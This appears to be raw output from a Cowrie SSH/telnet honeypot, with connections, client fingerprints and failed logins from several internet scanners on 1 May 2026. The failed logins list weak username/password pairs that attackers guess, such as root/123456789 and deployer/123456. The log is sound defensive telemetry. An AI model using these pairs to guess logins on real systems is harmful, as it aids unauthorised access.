{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:07.785569Z","src_ip":"176.65.139.103","session":"de0008b22267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34370,"dst_ip":"159.203.135.109","dst_port":23,"session":"41a5ab32ccec","protocol":"telnet","message":"New connection: 23.254.167.244:34370 (159.203.135.109:23) [session: 41a5ab32ccec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:10.098309Z"}
{"eventid":"cowrie.session.closed","duration":32.038840532302856,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:11.061093Z","src_ip":"23.254.167.244","session":"036eb75608ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":36086,"dst_ip":"159.203.135.109","dst_port":23,"session":"4746ecc7fb78","protocol":"telnet","message":"New connection: 23.254.167.244:36086 (159.203.135.109:23) [session: 4746ecc7fb78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:11.308563Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":34706,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7bd0e9cf22c","protocol":"ssh","message":"New connection: 176.65.139.103:34706 (10.17.0.5:22) [session: b7bd0e9cf22c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:12.850944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:12.856333Z","src_ip":"176.65.139.103","session":"b7bd0e9cf22c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:12.941270Z","src_ip":"176.65.139.103","session":"b7bd0e9cf22c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:13.197996Z","src_ip":"176.65.139.103","session":"b7bd0e9cf22c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:14.282780Z","src_ip":"176.65.139.103","session":"b7bd0e9cf22c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":48382,"dst_ip":"10.17.0.5","dst_port":22,"session":"7744d2ec5f62","protocol":"ssh","message":"New connection: 20.244.18.126:48382 (10.17.0.5:22) [session: 7744d2ec5f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:14.792278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:14.798901Z","src_ip":"20.244.18.126","session":"7744d2ec5f62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:14.996459Z","src_ip":"20.244.18.126","session":"7744d2ec5f62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zxcvbnm","message":"login attempt [ubuntu/zxcvbnm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:15.781583Z","src_ip":"20.244.18.126","session":"7744d2ec5f62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:16.973713Z","src_ip":"20.244.18.126","session":"7744d2ec5f62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.341901302337646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:17.145302Z","src_ip":"5.189.169.71","session":"a4fc4cb4cdb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":57634,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7f7b7e898bc","protocol":"ssh","message":"New connection: 176.65.139.103:57634 (10.17.0.5:22) [session: c7f7b7e898bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:19.130108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:19.135229Z","src_ip":"176.65.139.103","session":"c7f7b7e898bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:19.216870Z","src_ip":"176.65.139.103","session":"c7f7b7e898bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fahmi","password":"fahmi","message":"login attempt [fahmi/fahmi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:19.468668Z","src_ip":"176.65.139.103","session":"c7f7b7e898bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:20.554469Z","src_ip":"176.65.139.103","session":"c7f7b7e898bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.89754009246826,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:21.062180Z","src_ip":"5.189.169.71","session":"46dd84a5c79d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.179343223571777,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:21.067323Z","src_ip":"5.189.169.71","session":"40a87cccb375","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":48448,"dst_ip":"159.203.135.109","dst_port":23,"session":"41629c85d7d2","protocol":"telnet","message":"New connection: 23.254.167.244:48448 (159.203.135.109:23) [session: 41629c85d7d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:21.766061Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38036,"dst_ip":"10.17.0.5","dst_port":22,"session":"8909bbe5cb7a","protocol":"ssh","message":"New connection: 176.65.139.103:38036 (10.17.0.5:22) [session: 8909bbe5cb7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:25.682692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:25.687972Z","src_ip":"176.65.139.103","session":"8909bbe5cb7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:25.771028Z","src_ip":"176.65.139.103","session":"8909bbe5cb7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60016,"dst_ip":"159.203.135.109","dst_port":22,"session":"cd56efefc4ac","protocol":"ssh","message":"New connection: 159.203.92.129:60016 (159.203.135.109:22) [session: cd56efefc4ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:25.994884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:26.000403Z","src_ip":"159.203.92.129","session":"cd56efefc4ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:26.007847Z","src_ip":"159.203.92.129","session":"cd56efefc4ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anna","password":"123456789","message":"login attempt [anna/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:26.021224Z","src_ip":"159.203.92.129","session":"cd56efefc4ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.306668281555176,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:26.123415Z","src_ip":"5.189.169.71","session":"6024a6d8dd36","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz!QAZ","message":"login attempt [root/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:26.158244Z","src_ip":"176.65.139.103","session":"8909bbe5cb7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:27.028671Z","src_ip":"159.203.92.129","session":"cd56efefc4ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:27.246305Z","src_ip":"176.65.139.103","session":"8909bbe5cb7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":45628,"dst_ip":"10.17.0.5","dst_port":22,"session":"39bc66ec3d48","protocol":"ssh","message":"New connection: 80.94.92.182:45628 (10.17.0.5:22) [session: 39bc66ec3d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:29.481183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:29.493643Z","src_ip":"80.94.92.182","session":"39bc66ec3d48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:29.648962Z","src_ip":"80.94.92.182","session":"39bc66ec3d48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":57336,"dst_ip":"159.203.135.109","dst_port":23,"session":"98e82bfbab14","protocol":"telnet","message":"New connection: 23.254.167.244:57336 (159.203.135.109:23) [session: 98e82bfbab14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:29.930531Z"}
{"eventid":"cowrie.session.closed","duration":30.502581119537354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:30.125124Z","src_ip":"5.189.169.71","session":"f2e3eb62a0de","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol@123","message":"login attempt [sol/sol@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:30.441289Z","src_ip":"80.94.92.182","session":"39bc66ec3d48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.641910791397095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:31.058471Z","src_ip":"5.189.169.71","session":"4307cdebe27b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:31.617733Z","src_ip":"80.94.92.182","session":"39bc66ec3d48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":38038,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e1ab5d39442","protocol":"ssh","message":"New connection: 176.65.139.103:38038 (10.17.0.5:22) [session: 7e1ab5d39442]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:31.703511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:31.708450Z","src_ip":"176.65.139.103","session":"7e1ab5d39442","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:31.803511Z","src_ip":"176.65.139.103","session":"7e1ab5d39442","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.93707799911499,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:32.084858Z","src_ip":"5.189.169.71","session":"08a90d618fa5","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"123456","message":"login attempt [deployer/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:26:32.205451Z","src_ip":"176.65.139.103","session":"7e1ab5d39442","protocol":"ssh"}
